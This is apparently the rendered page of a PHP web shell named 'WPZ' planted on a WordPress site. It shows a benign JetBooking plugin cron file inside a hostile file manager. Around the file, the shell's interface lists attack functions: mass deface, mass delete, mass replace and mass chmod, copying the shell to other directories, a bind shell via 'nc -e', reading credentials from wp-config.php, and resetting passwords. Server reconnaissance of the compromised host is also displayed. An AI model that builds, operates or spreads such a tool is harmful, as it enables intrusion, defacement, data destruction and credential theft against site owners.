WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-booking / includes / cron / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/includes/cron/switch-statuses.php (2.36 KB)
<?php

namespace JET_ABAF\Cron;

class Switch_Statuses extends Base {

	public function __construct() {

		// Reschedule event on related settings update.
		add_action( 'jet-booking/settings/before-update', [ $this, 'clear_scheduled_on_interval_change' ], 10, 3 );

		parent::__construct();

	}

	/**
	 * Is enabled.
	 *
	 * Check if a recurrent event is active.
	 *
	 * @since  3.8.0
	 * @access public
	 *
	 * @return boolean
	 */
	public function is_enabled() {
		return jet_abaf()->settings->get( 'switch_status' );
	}

	/**
	 * Event timestamp.
	 *
	 * Returns unix timestamp (UTC) for when to next run the event.
	 *
	 * @since  3.8.0
	 * @access public
	 *
	 * @return int
	 */
	public function event_timestamp() {

		$schedules = wp_get_schedules();

		return time() + $schedules[ $this->event_interval() ]['interval'];

	}

	/**
	 * Event interval.
	 *
	 * Returns event interval.
	 *
	 * @since  3.8.0
	 * @access public
	 *
	 * @return string
	 */
	public function event_interval() {
		return jet_abaf()->settings->get( 'switch_status_interval' );
	}

	/**
	 * Event name.
	 *
	 * Returns event name.
	 *
	 * @since  3.8.0
	 * @access public
	 *
	 * @return string
	 */
	public function event_name() {
		return 'jet-booking-switch-statuses';
	}

	/**
	 * Event callback.
	 *
	 * Method to execute when the event is run.
	 *
	 * @since  3.8.0
	 * @access public
	 *
	 * @return void
	 */
	public function event_callback() {

		$from_statuses = jet_abaf()->settings->get( 'switch_status_from' );
		$to_status     = jet_abaf()->settings->get( 'switch_status_to' );

		$bookings = jet_abaf_get_bookings( [ 'status' => $from_statuses ] );

		if ( empty( $bookings ) ) {
			return;
		}

		foreach ( $bookings as $booking ) {
			jet_abaf()->db->update_booking( $booking->get_id(), [ 'status' => $to_status ] );
		}

	}

	/**
	 * Clear scheduled on interval change.
	 *
	 * Reschedule event functionality on related settings changes.
	 *
	 * @since  3.8.0
	 * @access public
	 *
	 * @param array  $settings All-settings list.
	 * @param string $setting  Settings key name.
	 * @param mixed  $value    Setting value.
	 *
	 * @return void
	 */
	public function clear_scheduled_on_interval_change( $settings, $setting, $value ) {
		if ( 'switch_status_interval' === $setting ) {
			$old_value = $settings[ $setting ] ?? false;

			if ( $old_value && $old_value !== $value ) {
				$this->unschedule_event();
			}
		}
	}

}
namawaktuukuranownerpermaksi
..
base.php 2026-07-21 14:163.34 KB 76129f60960:kunden-xw-x-----
edt
clear-on-expire.php 2026-07-21 14:162.25 KB 76129f60960:kunden-xw-x-----
edt
events-dispatcher.php 2026-07-21 14:161005 B 76129f60960:kunden-xw-x-----
edt
manager.php 2026-07-21 14:161.65 KB 76129f60960:kunden-xw-x-----
edt
remove-temporary-bookings.php 2026-07-21 14:162.28 KB 76129f60960:kunden-xw-x-----
edt
switch-statuses.php 2026-07-21 14:162.36 KB 76129f60960:kunden-xw-x-----
edt
sync-calendars.php 2026-07-21 14:162.38 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/includes/cron
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK